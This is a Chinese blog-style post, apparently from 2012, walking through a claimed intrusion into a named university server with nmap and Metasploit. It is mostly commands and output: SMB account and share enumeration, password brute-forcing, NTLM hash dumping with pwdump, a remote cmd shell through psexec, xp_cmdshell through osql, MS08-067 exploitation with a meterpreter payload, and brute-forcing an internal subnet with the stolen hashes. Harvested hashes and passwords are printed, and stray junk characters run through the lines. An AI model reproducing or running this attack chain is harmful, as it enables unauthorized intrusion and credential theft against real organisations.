nmap+msf入侵广西师范

admin

广西师范网站http://202.103.242.241/
6 x( W* `# s- {& P9 ]& }8 O
root@bt:~# nmap -sS -sV 202.103.242.241

  M4 s3 v+ T; o# J" S) F5 J$ iStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST

Nmap scan report for bogon (202.103.242.241)

. d9 v6 A" r/ M2 \, D6 F, @Host is up (0.00048s latency).
+ C' x* v6 D3 J$ n0 i* K
Not shown: 993 closed ports
9 [/ E) h8 I  c" l3 q. O; h! n' V
8 c9 h# S0 ~% h. s" V8 ePORT     STATE SERVICE       VERSION
' s, E4 Y$ V' @) ?' G
135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
  X9 e7 X& N$ z/ @9 f
139/tcp  open  netbios-ssn
8 c, j" V" _% v' Y
$ {% `6 y0 ?, [- ^6 ?" Q: @& x445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
) q/ x: @/ T' }0 Y6 m; F
1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

2 O; N2 k% ?1 a; N1026/tcp open  msrpc         Microsoft Windows RPC
+ u$ n0 ~5 c+ \
3372/tcp open  msdtc?
! E7 L- X1 s. M' M) _
3389/tcp open  ms-term-serv?

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
7 \9 ~5 }9 B$ T$ J2 [! H% CSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r

SFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
7 Q3 B2 [3 |  D/ G1 A. h) w
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)

' F) T7 Q! C. {9 D! m7 K% BSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
! s- t4 X, t% p& U: k. S
9 W- H; u. c# dSF:ptions,6,”hO\n\x000Z”);

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

9 f% r2 a" E# N+ R* `6 YService Info: OS: Windows
0 k' c) W7 c$ v8 N+ e, Z
( h6 C' k+ X: B* B$ N0 AService detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
& d! U& C' D( T% p. J
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本

' H; a" C5 p1 h  L-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse

4 R( P- C1 S2 E) C, U0 \-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
. w2 d4 P: S5 r  d
( J& T9 S* N# L6 }/ c# t+ |-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse

-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse

-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse
  F, g& ]' i! M/ a# W1 M
. H$ v8 z" y) z* K! l6 i1 l-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
. }7 T& R/ q% c6 N) j$ @
2 f' V9 R9 I3 j3 A# W9 o-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse
  O5 m8 c+ Q9 S, F
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse

-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse

# E& \9 |: Z# n' B* x$ C-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse

2 b* o1 b% j! N9 G; u-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
& ~! j$ _" N$ B# }# p- h8 `4 X
' A3 H, T% a7 V4 L8 q! Q% |-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse
+ B6 p4 e4 a# H7 D% k2 Y" z4 V
# N0 L$ X( K$ n+ X- g# a-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse

  v% J( S0 ^6 i* \) G* i) R' S-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse

1 B. Y5 d3 c4 `' a# u6 d& m9 Z-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse

. q3 T3 B5 \! ~. ^+ ~) V. eroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   

//此乃使用脚本扫描远程机器所存在的账户名

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
  G: M' h& u- a" \0 M' A
Nmap scan report for bogon (202.103.242.241)
/ G# n& T2 ^! w  h) f& g  X
4 ~* b+ b+ K- h- S. ]: I" {9 T$ MHost is up (0.00038s latency).
) K# Z  s6 ?: T0 c4 t* V! s
Not shown: 993 closed ports
$ P# N/ v) F+ O. i1 u
PORT     STATE SERVICE
# e4 U, j- Y/ c
135/tcp  open  msrpc

139/tcp  open  netbios-ssn

6 h! k3 U/ {% R. @1 k  J0 Q445/tcp  open  microsoft-ds
; {% q; C6 v) W1 q  v2 _- d( B! ]
) ~1 ^) o3 _# d4 a6 R' x1025/tcp open  NFS-or-IIS
2 [. x' S0 R# b* b
4 w0 T% N1 j5 j0 x" }1026/tcp open  LSA-or-nterm

/ z3 n! t$ U% g. l3372/tcp open  msdtc

3389/tcp open  ms-term-serv
# ~6 X1 l* r5 j, e' z
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

2 k3 o% m3 A$ q6 e" r1 dHost script results:

: P, n7 d% H2 w8 h1 q5 \9 V% ?| smb-enum-users:
- O; v3 ?7 d( v# p: z0 l
|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果

/ W4 @/ D# R7 d+ ?% J- v6 jNmap done: 1 IP address (1 host up) scanned in 1.09 seconds

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
( _$ g% h) X1 g5 ~& ~! U
//查看共享
- Z" Y- L& f( l' N* @5 v* V* M/ M! {' d# G
: L( L( Y, o$ X$ w5 b" z* ]6 kStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
' a& N5 N) c( k# ~- i! n
- \8 H- }2 y) A2 [. O4 ~% X3 xNmap scan report for bogon (202.103.242.241)

Host is up (0.00035s latency).

! x/ I8 @$ z" E: ANot shown: 993 closed ports
3 g, H4 G7 Z1 q6 M6 Q7 n3 c+ B
. f" N+ a* S' s3 IPORT     STATE SERVICE
) I" B! p2 H5 [3 A
135/tcp  open  msrpc

7 l4 }( F6 w* Y- P4 ^: a, O7 \139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

4 @5 v6 K0 f- ]$ g1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc

3389/tcp open  ms-term-serv
3 G$ f$ p) a( E7 e1 x$ a2 b; u, Y
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
/ Y8 p% v/ \! \; u$ ]
* K- Y4 Z& s. jHost script results:

| smb-enum-shares:
' q. B+ h  q1 T+ Z- q1 M5 F
& V0 L8 f2 M1 c# q# o$ a|   ADMIN$
" _& l% j5 Y# [8 y% F' Z
' p, k, ]( n2 E; X|     Anonymous access: <none>
1 a: ]8 e, @  z) y% m
* l( ~4 I2 J  D# N$ T. Q|   C$
# e' S3 @$ D! Y: _' x% m1 O' V
+ K$ ]2 @. F+ e1 o+ f; y5 P0 G3 M|     Anonymous access: <none>

|   IPC$
+ ^- `, }& r0 O  H* W
$ C1 r( Z; V5 V, t|_    Anonymous access: READ

% f: t/ R2 y& V9 s' T& R( X- gNmap done: 1 IP address (1 host up) scanned in 1.05 seconds
# @: A  g7 C9 }1 y
; N9 z& t/ k1 rroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      
8 u: ~$ ^% g6 b- K, |$ l* ^
1 ^; _5 q2 ]7 y0 Z//获取用户密码
* m  n! \& }6 b; b: F; n  Q6 |
/ i/ a* p2 K# f* }Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST

Nmap scan report for bogon (202.103.242.2418)
7 r$ J' g, j! h, L  l: i! j
Host is up (0.00041s latency).
! h7 u. g, r* N7 z& u' J
" }8 p6 P5 W: pNot shown: 993 closed ports
6 ^$ s, D$ g9 h7 s4 E
) m% o6 i+ V- p1 C' h) U+ V4 q$ HPORT     STATE SERVICE

# t$ N8 z: O, \! P5 i) |2 `2 F135/tcp  open  msrpc

# _  h# _6 f, j+ I) ?139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

' M3 Q3 s" D/ Z9 y1025/tcp open  NFS-or-IIS

0 _1 r3 q2 M5 o! d1026/tcp open  LSA-or-nterm
, ?# ~, K2 I1 ]
1 M* J0 I: z5 [* U" _% i3372/tcp open  msdtc
0 H# n! q! w( Y3 t5 H; A
8 A4 K8 R3 _; \% O" f/ W3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
) b' q9 F( a# O2 G1 [+ j
| smb-brute:

2 |; R' [1 q, `/ Iadministrator:<blank> => Login was successful

! A9 M  n% Y! F0 l|_  test:123456 => Login was successful
/ b1 e- H9 G8 y, H# z: ?' V0 r7 ?2 u
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
, K) r8 v# ~5 O5 T* L, c3 |" }7 i$ `
0 ]- W( v; F/ X% B! _( ?3 ]root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
# ?1 i' }8 V/ q& y
9 N3 i4 f3 A4 s1 Troot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data

root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
" k+ n, w) D2 |# P% t+ b) R
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
( \- u5 g% `9 T: O& E8 b3 G
Nmap scan report for bogon (202.103.242.241)

Host is up (0.0012s latency).

- ^, b; j# v0 w; d  I: L7 N& vPORT    STATE SERVICE

135/tcp open  msrpc
  A7 n) T. y; ?" u+ `3 J6 Z
3 O  g. a$ W% j" T: ]139/tcp open  netbios-ssn

8 l9 G& @9 @$ j5 F  S" F445/tcp open  microsoft-ds

: h: H9 T* a( K2 I# S( b/ BMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
: P( Y5 S  E* F2 C- u6 e
5 T0 \- K+ [' T% U: ~  \Host script results:

| smb-pwdump:
/ ^* _. o6 Z% ]+ @
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************

( P; I/ s  R) \1 L| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
; R5 j) x; H, e" Y
, n( q# a4 D: I- P| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4

|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
+ R% b/ G! B1 Z
; N4 W2 k# }8 u, o+ o' o  [. LC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell

( [3 f4 E/ ^- ^1 |-p 123456 -e cmd.exe
# v1 ]2 m! y3 m  `
PsExec v1.55 – Execute processes remotely
" p8 U( w2 D1 z8 y
# h: p. ]" v. G- M# [' S, k* I& J* UCopyright (C) 2001-2004 Mark Russinovich
1 Q" d3 [; I1 B- F5 ~0 m- T+ Z
Sysinternals – www.sysinternals.com

Microsoft Windows 2000 [Version 5.00.2195]
1 ?8 ~7 a0 J/ V- E2 x
: U; p" j% ?6 \8 M(C) 版权所有 1985-2000 Microsoft Corp.

( c  i6 }  t# ]; e. {2 |/ OC:\WINNT\system32>ipconfig
. @' R+ i1 I% {& I0 u
Windows 2000 IP Configuration

9 P1 C; j" |- d1 ^1 C4 S6 uEthernet adapter 本地连接:

* A- _: b- R' sConnection-specific DNS Suffix  . :

2 m! o$ `) i7 L) v. x  QIP Address. . . . . . . . . . . . : 202.103.242.241

Subnet Mask . . . . . . . . . . . : 255.255.255.0

  s( Z* `. _4 g; gDefault Gateway . . . . . . . . . : 202.103.1.1
' o: f8 o9 \/ m. d
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

$ e3 ]& f/ ]" K/ {, \% w5 _root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
8 g6 @) M7 j7 O! r+ m
" i5 `* {* b6 ^) c. \4 wNmap scan report for bogon (202.103.242.241)
: h0 S5 i7 H2 h
Host is up (0.00046s latency).

Not shown: 993 closed ports

PORT     STATE SERVICE
# ]+ x5 n, n3 P/ z
135/tcp  open  msrpc

139/tcp  open  netbios-ssn
  T# _9 W& _) d( [% K  Q9 x7 {
& I" n/ B- {3 E' E4 C7 }) I445/tcp  open  microsoft-ds
3 B; X6 Q7 P9 |9 A. G/ D+ O
1025/tcp open  NFS-or-IIS

$ D3 a" ~0 d, H/ h+ D) [& I7 l9 A1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc

3389/tcp open  ms-term-serv
% a- }7 P2 |! R
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

" i* ]6 H* C% ]Host script results:

| smb-check-vulns:

9 a, P" i/ S1 K6 J" c/ C0 b" m+ i|_  MS08-067: VULNERABLE
" c  J, {2 {# F
7 _! ^. p8 x8 R( D% f2 F+ @! s( QNmap done: 1 IP address (1 host up) scanned in 1.43 seconds
  W3 Z  c1 K2 r9 R" ]
root@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出
5 J+ A+ `* ^4 e: m( m
+ n" j) u, H0 u7 N! fmsf > search ms08
3 B7 a$ v$ G) _4 b4 E+ M' u% `( ^
$ a' y0 H  o- |- T0 imsf > use exploit/windows/smb/ms08_067_netapi

msf  exploit(ms08_067_netapi) > show options
6 \+ m- d+ o" K& a. f
msf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241
1 c/ k0 a# k0 B8 j9 V2 j
msf  exploit(ms08_067_netapi) > show payloads

4 |7 T+ F0 c( t% ~6 V+ H- |' Bmsf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
9 z4 V% e. i! q' O8 m4 H+ Q( l
msf  exploit(ms08_067_netapi) > exploit

  U& I1 J- j' y' r% ^meterpreter >

Background session 2? [y/N]  (ctrl+z)
) D2 Y# x& Y. `) I2 C2 x
msf  exploit(ms08_067_netapi) > sessions -l
' M# [. \& ~4 D/ l9 V/ p% P
7 d: j$ s" _7 A- V8 V* Froot@bt:/usr/local/share/nmap/scripts# vim usernames.txt

' a. x4 @3 A) ?. U. E' z$ Btest

* _9 \  n, t! n* l9 aadministrator

* I( J  ]6 J5 ?- iroot@bt:/usr/local/share/nmap/scripts# vim password.txt
! k) Z& c. E2 w/ |
44EFCE164AB921CAAAD3B435B51404EE
* C& N% p9 O$ ?* g4 ^- C
, l2 {$ p* t# j( ~: h& xroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
8 C  B; o4 p6 \  }! o& [8 {/ ?7 @
//利用用户名跟获取的hash尝试对整段内网进行登录
( ?, S- F6 v( l" M1 t, L9 d
. j3 h/ H( {: ?% n" N6 HNmap scan report for 192.168.1.105

Host is up (0.00088s latency).
! u) T- {  A+ ~2 M  N
  h3 Y1 C4 [$ Z0 _3 |3 xNot shown: 993 closed ports
) p/ w5 h& U' S. H; G3 G
PORT     STATE SERVICE

& h4 n9 N7 ~$ c) q6 T6 P, \135/tcp  open  msrpc
6 A: ]/ y" ~: W8 N% Q8 z& l
% @4 Y& T  U: S139/tcp  open  netbios-ssn

% s9 g4 n  n4 D445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS
; t- R  H9 `; M- ~. @& u; l
1026/tcp open  LSA-or-nterm
: [- c" |8 J4 }) Q
! @) j3 \  L- L4 W) g3372/tcp open  msdtc
  O& J* t. {: g; g. V+ _
3389/tcp open  ms-term-serv
" J; D9 ]8 t, o/ d
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
  p! [+ D6 C5 h* A4 L2 K7 L2 `' V
* s1 z' r: I" j! _| smb-brute:
* }: V# X9 s! O# i2 n) M6 `$ [
8 o: I$ k+ P# }( ~+ B% e|_  administrator:<blank> => Login was successful

攻击成功，一个简单的msf+nmap攻击~~·